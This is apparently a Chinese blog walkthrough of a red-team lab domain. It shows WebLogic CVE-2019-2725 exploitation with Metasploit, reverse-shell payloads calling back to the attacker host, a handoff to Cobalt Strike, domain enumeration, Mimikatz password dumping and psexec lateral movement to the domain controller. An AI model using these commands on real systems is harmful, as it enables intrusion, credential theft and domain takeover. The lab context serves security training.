🍬 博主介绍👨🎓 博主介绍：大家好，我是 hacker-routing ，很高兴认识大家~
✨主攻领域：【渗透领域】【应急响应】 【ATK&CK红队评估实战靶场】 【VulnHub靶场复现】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯（一键三连）😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限，欢迎各位大佬指点，相互学习进步！一、环境搭建
1.靶场下载
靶场下载地址：
https://pan.baidu.com/s/1QlkyFALPCZADUQevFYf_2A?pwd=hqxi
提取码：hqxi
2.环境配置
1.拓朴图
pc
跟红日靶场一的环境类似需要模拟内网和外网两个网段， PC 端虚拟机相当于网关服务器，所以需要两张网卡，一个用来向外网提供web服务，一个是通向内
DC
DC在该环境中充当是域控。DC配置如下 ：
WEB
WEB配置：需要两块网卡，相当于网关服务器
网段配置
这里还需要把网卡VMnet1的IP段调成10.10.10.0
作者把外网网段都写成了192.168.111.1/24，所以我们可以把我们的NAT修改成111段的，所以需要将子网ip设置为192.168.111.0
网络配置完成，这三台虚拟主机默认开机密码都是：密码1qaz@WSX
注意：WEB的这台服务器，切换用户 de1ay或者管理员用户administrator，密码也是1qaz@WSX
2.查看虚拟机IP地址
| DC | WEB | PC | kali |
|---|---|---|---|
| AD域 | 域成员 | 攻击机 | |
| 内网:10.10.10.10 | 内网：10.10.10.80 | 内网:10.10.10.201 | |
| 外网：192.168.111.129 | 外网:192.168.111.130 | 外网:192.168.111.128 |
我这里的Net网卡的IP和作者的不一样，是因为我改了本地连接一的网卡配置
我把手动改成了自动的DHCP分配地址，所有外网的Net模式的IP跟作者不一样
先从WEB机开始，注意需要手动开启服务，在 C:\Oracle\Middleware\user_projects\domains\base_domain\bin 下有三个 startWeblogic 的批处理，都要挨个用管理员身份运行它即可，管理员账号密码：Administrator/1qaz@WSX
WEB机和PC机：计算机右键->管理->配置->服务->Server、Workstation、Computer Browser 全部启动
二、外网渗透
1.nmap扫描
先用nmap扫描一下
┌──(root💀kali)-[~/桌面]
└─# nmap -sS -A -p- 192.168.111.129
可以看到开启了80、135、139、445、1433、3389、7001、49152、49153、49154端口
端口开启可能存在的服务：
1.445端口开放意味着存在smb服务，可能存在ms17_010永恒之蓝漏洞
2.开放139端口，就存在Samba服务，可能存在爆破/未授权访问/远程命令执行漏洞
3.放1433端口，就存在mssql服务，可能存在爆破/注入/SA弱口令
4.开放7001端口可能存在Weblogic反序列化漏洞
2.WeblogicScan 扫描
首先看到开放了7001端口，尝试访问下
发现访问不了，所有利用WeblogicScan扫描一下
kali中是不自带WeblogicScan扫描工具的，所有要下载
git clone https://github.com/rabbitmask/WeblogicScan.gitcd WeblogicScansudo apt-get update
sudo apt-get install git
WeblogicScan扫描
┌──(root💀kali)-[~/桌面/WeblogicScan]
└─# python3 WeblogicScan.py -u 192.168.111.129 -p 7001
通过扫描发现存在SSRF CVE-2019-2725 CVE-2019-2729的漏洞
可以上网查找该漏洞的复现方法，这个漏洞还是相对比较成熟了
该漏洞的位置位于：
http://192.168.111.129:7001/uddiexplorer/SearchPublicRegistries.jsp
点击Search抓包测试
这里可以进行端口探测，这里的参数operator我们是可控的，当我们输入不同值时可得到多种不同的报错
1.端口存在返回状态码 returned a 404 error code
2.端口不存在 but could not connect over HTTP to server
3.非http协议 did not have a valid SOAP content-type
4.协议没写 no protocol
当我们访问一个不存在的端口时，比如 http://127.0.0.1:4444 将会返回：could not connect over HTTP to server
3.Weblogic漏洞利用
我们首先利用msf进行查找看看CVE-2019-2725漏洞
msfconsole
search cve-2019-2725
这里进行多打几次，因为靶机有360和防火墙的原因
use 0
show options 查看一些参数
set payload windows/meterpreter/reverse_tcp #设置攻击载荷，因为已经对方为windows系统
set rhosts 192.168.111.129
set lhost 192.168.111.128
set target 1
run
成功getshell，但是想要尝试提权，却发现失败了
getsystem
三.内网渗透
1.MSF派生CS
CS开启服务
──(root💀kali)-[~/routing/CS]
└─# ./teamserver 192.168.111.128 123456
CS开启客户端
密码就填刚刚的123456，用户可以随便填
创建一个Lisenter
msf
msf中我现在的这个meterpreter的session id为1
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > use exploit/windows/local/payload_inject
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/payload_inject) > set session 1
session => 1
msf6 exploit(windows/local/payload_inject) > set lport 9090
lport => 9090
msf6 exploit(windows/local/payload_inject) > set DisablePayloadHandler true
DisablePayloadHandler => true
msf6 exploit(windows/local/payload_inject) > set PAYLOAD windows/meterpreter/reverse_http
PAYLOAD => windows/meterpreter/reverse_http
msf6 exploit(windows/local/payload_inject) > run端口要和我们cs中监听的需要一样9090
再回去cs中，发现web这台机器上线成功了
进行提权
设置延迟为0，方便后面的信息收集
在这里就可以输入命令了
2.域内信息收集
发现有双网卡，10.10.10.1/24和192.168.111.0网段，域控IP 10.10.10.10
ipconfig /all # 查看本机ip，所在域
net user /domain #查询域内用户net group "domain admins" /domain #查看域管理员用户net group "domain controllers" /domain #查看域控：net group "domain computers" /domain # 查看域中的其他主机名
net view
net view /domain
分别ping一下DC和PC，可以解析出主机ip地址
DC 10.10.10.10
PC 10.10.10.201
信息收集总结：
目标主机所在的网络存在域环境，域名为de1ay.com，存在两台域主机WEB和PC，域控制器为DC.de1ay.com，主机名为DC，域管理员为Administrator
WEB:192.168.111.129 内网：10.10.10.80
PC：内网：10.10.10.201
DC：内网：10.10.10.10
3.横向移动
1.portscan 端口扫描
扫描发现域控开放445端口。可以尝试psexec横向移动
2.猕猴桃抓取密码
由于weblogic启动需要域管理员密码，而本台webserver2008存在内存明文密码的漏洞 故而可知域管理员账密 administrator/1qaz@WSX
3.获取域控权限
创建smb
对目标10.10.10.10(DC)进行横向移动
设置psexec
可以发现DC这台域控主机已经被拿下
PC主机跟DC一样的方法拿下
我这里中途不知道什么原因掉了
